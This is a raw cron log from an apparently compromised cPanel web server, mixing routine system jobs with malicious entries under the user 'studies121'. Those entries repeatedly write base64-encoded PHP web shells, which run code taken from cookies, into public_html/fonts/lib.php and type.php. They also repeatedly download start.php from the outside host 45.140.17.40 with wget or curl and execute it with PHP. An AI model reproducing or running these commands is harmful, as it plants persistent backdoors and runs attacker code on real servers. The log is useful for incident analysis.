Sep  9 11:50:01 ip-184-168-122-23 CROND[9521]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 11:50:01 ip-184-168-122-23 CROND[9522]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:50:01 ip-184-168-122-23 CROND[9524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:50:01 ip-184-168-122-23 CROND[9525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:50:01 ip-184-168-122-23 CROND[9526]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:51:01 ip-184-168-122-23 CROND[9715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:51:01 ip-184-168-122-23 CROND[9713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:51:01 ip-184-168-122-23 CROND[9714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:51:01 ip-184-168-122-23 CROND[9716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:52:01 ip-184-168-122-23 CROND[9867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:52:01 ip-184-168-122-23 CROND[9868]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:52:01 ip-184-168-122-23 CROND[9869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:52:01 ip-184-168-122-23 CROND[9873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:52:01 ip-184-168-122-23 CROND[9871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:53:01 ip-184-168-122-23 CROND[10001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:53:01 ip-184-168-122-23 CROND[10000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:53:01 ip-184-168-122-23 CROND[10002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:53:01 ip-184-168-122-23 CROND[10003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:54:01 ip-184-168-122-23 CROND[10168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:54:01 ip-184-168-122-23 CROND[10170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:54:01 ip-184-168-122-23 CROND[10169]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:54:01 ip-184-168-122-23 CROND[10173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:54:01 ip-184-168-122-23 CROND[10175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:55:01 ip-184-168-122-23 CROND[10387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:55:01 ip-184-168-122-23 CROND[10388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:55:01 ip-184-168-122-23 CROND[10389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:55:01 ip-184-168-122-23 CROND[10393]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:55:01 ip-184-168-122-23 CROND[10394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:55:01 ip-184-168-122-23 CROND[10395]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:56:01 ip-184-168-122-23 CROND[10517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:56:01 ip-184-168-122-23 CROND[10518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:56:01 ip-184-168-122-23 CROND[10521]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:56:01 ip-184-168-122-23 CROND[10522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:56:01 ip-184-168-122-23 CROND[10524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:57:01 ip-184-168-122-23 CROND[10654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:57:01 ip-184-168-122-23 CROND[10655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:57:01 ip-184-168-122-23 CROND[10660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:57:01 ip-184-168-122-23 CROND[10661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:58:01 ip-184-168-122-23 CROND[10801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:58:01 ip-184-168-122-23 CROND[10804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:58:01 ip-184-168-122-23 CROND[10805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:58:01 ip-184-168-122-23 CROND[10803]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:58:01 ip-184-168-122-23 CROND[10806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:59:01 ip-184-168-122-23 CROND[10913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:59:01 ip-184-168-122-23 CROND[10915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:59:01 ip-184-168-122-23 CROND[10916]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:59:01 ip-184-168-122-23 CROND[10918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:00:02 ip-184-168-122-23 CROND[11117]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 12:00:02 ip-184-168-122-23 CROND[11118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:00:02 ip-184-168-122-23 CROND[11116]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:00:02 ip-184-168-122-23 CROND[11113]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:00:02 ip-184-168-122-23 CROND[11111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:00:02 ip-184-168-122-23 CROND[11114]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:00:02 ip-184-168-122-23 CROND[11115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:00:02 ip-184-168-122-23 CROND[11112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:00:02 ip-184-168-122-23 CROND[11119]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 12:00:02 ip-184-168-122-23 CROND[11120]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep  9 12:01:01 ip-184-168-122-23 CROND[11263]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11263]: starting 0anacron
Sep  9 12:01:01 ip-184-168-122-23 CROND[11269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:01:01 ip-184-168-122-23 CROND[11270]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 12:01:01 ip-184-168-122-23 CROND[11272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:01:01 ip-184-168-122-23 CROND[11271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:01:01 ip-184-168-122-23 CROND[11273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11283]: finished 0anacron
Sep  9 12:02:01 ip-184-168-122-23 CROND[11414]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:02:01 ip-184-168-122-23 CROND[11415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
